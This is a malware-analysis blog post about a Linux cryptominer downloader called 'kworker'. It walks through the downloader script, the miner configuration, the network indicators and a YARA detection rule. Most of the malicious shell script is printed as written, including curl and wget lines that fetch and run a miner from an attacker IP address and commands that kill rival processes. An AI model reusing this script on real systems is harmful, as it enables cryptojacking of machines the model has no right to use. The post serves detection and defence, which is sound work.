xorl %eax, %eax

The kworker Linux cryptominer malware

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I recently saw this interesting malware sample. The uploaded file is nothing more than a downloader for a cryptocoin miner. The downloader (logo.sh) starts by removing “/var/tmp/fyvxsztqix.conf” and “/var/tmp/sshd” which means that it is probably previously installed malware.

#!/bin/sh
rm -rf /var/tmp/fyvxsztqix.conf
rm -rf /var/tmp/sshd

After this it runs a series of cleanups to ensure that the system not running another instance of the miner. After it kills all of the running miner processes, it will start the downloader as you can see below.

ps auxf|grep -v grep|grep -v mwyumwdbpq|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "fyvxsztqix"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "mwyumwdbpq" -e "xzpauectgr" -e "slxfbkmxtd"|grep -v grep
if [ $? -ne 0 ]
then
echo "Starting process..."

The code will first attempt to download the configuration file (kworker.conf) and store it in “/var/tmp/mwyumwdbpq.conf” file. Note that it will try to do it both using wget and curl to ensure that it will work even if one of the tools is not available.

chmod 777 /var/tmp/mwyumwdbpq.conf
rm -rf /var/tmp/mwyumwdbpq.conf
curl -o /var/tmp/mwyumwdbpq.conf http://5.188.87.12/langs/kworker.conf
wget -O /var/tmp/mwyumwdbpq.conf http://5.188.87.12/langs/kworker.conf

After this the downloader will check “/proc/cpuinfo” and depending if the processor supports AES-NI (Advanced Encryption Standard New Instructions) or not, it will download either “kworker” or “kworker_na”. The downloaded file will be stored in “/var/tmp/atd” file.

chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.12/langs/kworker
wget -O /var/tmp/atd http://5.188.87.12/langs/kworker
else
curl -o /var/tmp/atd http://5.188.87.12/langs/kworker_na
wget -O /var/tmp/atd http://5.188.87.12/langs/kworker_na
fi
chmod +x /var/tmp/atd

Lastly, the downloader will discover the amount of available cores and it will start the downloaded file using arguments “-c” for the configuration file and “-t” for the number of threads to start in order to utilize the CPU resources of all the available cores.

cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
./atd -c mwyumwdbpq.conf -t `echo $cores` >/dev/null &
else
echo "Running..."
fi

Here is the configuration file (kworker.conf) that it was downloaded from this malware sample.

{
    "url" : "stratum+tcp://45.76.94.104:80",
    "user" : "etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

Inspecting the binaries makes it obvious really fast that this is cpuminer version 2.3.3. An open source miner available on GitHub. It is worth noting that although the latest release of cpuminer is 2.5.0 (released in 22 June 2017), those two samples were compiled on 29 October 2017 (kworker_na) and 31 October 2017 (kworker) respectively, using version 2.3.3 which was released on 27 February 2014. Below is the help message of the cpuminer version 2.3.3 (kworker).

Usage: minerd [OPTIONS]
Options:
  -o, --url=URL         URL of mining server
  -O, --userpass=U:P    username:password pair for mining server
  -u, --user=USERNAME   username for mining server
  -p, --pass=PASSWORD   password for mining server
      --cert=FILE       certificate for mining server using SSL
  -x, --proxy=[PROTOCOL://]HOST[:PORT]  connect through a proxy
  -t, --threads=N       number of miner threads (default: number of processors)
  -r, --retries=N       number of times to retry if a network call fails
                          (default: retry indefinitely)
  -R, --retry-pause=N   time to pause between retries, in seconds (default: 30)
  -T, --timeout=N       timeout for long polling, in seconds (default: none)
  -s, --scantime=N      upper bound on time spent scanning current work when
                          long polling is unavailable, in seconds (default: 5)
      --no-longpoll     disable X-Long-Polling support
      --no-stratum      disable X-Stratum support
      --no-redirect     ignore requests to change the URL of the mining server
  -q, --quiet           disable per-thread hashmeter output
  -D, --debug           enable debug output
  -P, --protocol-dump   verbose dump of protocol-level activities
  -S, --syslog          use system log for output messages
  -B, --background      run the miner in the background
      --benchmark       run in offline benchmark mode
  -c, --config=FILE     load a JSON-format configuration file
  -V, --version         display version information and exit
  -h, --help            display this help text and exit

There were no modifications in either of the binaries. They were just compiled versions of this open source miner software. According to some sources this is a result of malware infections based on exploitation of the CVE-2017-5638 (Apache 2 Struts remote code execution) vulnerability. Regarding the network indicators, there is no clear correlation among them. Here is a brief overview of them.

    IP           Hostname       First seen   Last seen     WHOIS name/email            Registrar    
5.188.87.12        N/A              N/A      13-12-2017   noc@channelnet.ie             Petersburg Internet Network Ltd.
45.76.94.104 mine.etnpool.info  29-11-2017   13-12-2017   contact@privacyprotect.org    PDR Ltd.
91.230.47.90       N/A              N/A      14-11-2017   noc@channelnet.ie             Regionalnaya Kompaniya Svyazi Ltd. 
37.59.56.102 pool.minexmr.com   16-04-2014   13-12-2017   ALEXIS ENSTON/XN@OUTLOOK.COM  eNom

 
To conclude, I wrote a simple YARA rule that you can use to detect any infections you might have in your systems. The YARA rule is based on the previously described samples and you can find it here.

import "hash"

rule minerd_kworker_cpuminer
{
    meta:
        author = "Anastasios Pingios (xorl)"
        description = "Linux cpuminer (minerd)"
		reference = "https://xorl.wordpress.com/2017/12/13/the-kworker-linux-cryptominer-malware/"
        date = "13-12-2017"
        filename = "logo.sh"
		filename = "/var/tmp/fyvxsztqix.conf"
		filename = "/var/tmp/mwyumwdbpq.conf"
		filename = "/var/tmp/xxtyligbex.conf"
		filename = "/var/tmp/sshd"

    strings:
		$host_1 = "5.188.87.12" ascii
		$host_2 = "45.76.94.104" ascii
		$host_3 = "91.230.47.90" ascii
		$host_4 = "37.59.56.102" ascii
		$host_5 = "pool22.poolminers.net" ascii
		
		$downloader_1 = "kworker" ascii
		$downloader_2 = "etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc" ascii
		$downloader_3 = "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt" ascii
		
		$binary_1 = "cpuminer" ascii
		$binary_2 = "minerd" ascii
		$binary_3 = "stratum+tcp" ascii
		$binary_4 = "Mining-Extensions" ascii
		
    condition:
        2 of ($host*,$downloader*) or
		3 of ($binary*) or
        filesize < 2KB and hash.sha256(0, filesize) == "d920f802d03bd6b7ad7e0e309da1f8087542542626be8057fd15d820bc8a66e1" or
        filesize < 2MB and hash.sha1(0, filesize) == "59ea14373c0ffd14d3bb00ed8c98421c680e853c"
}
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Written by xorl

December 13, 2017 at 00:48

Posted in malware

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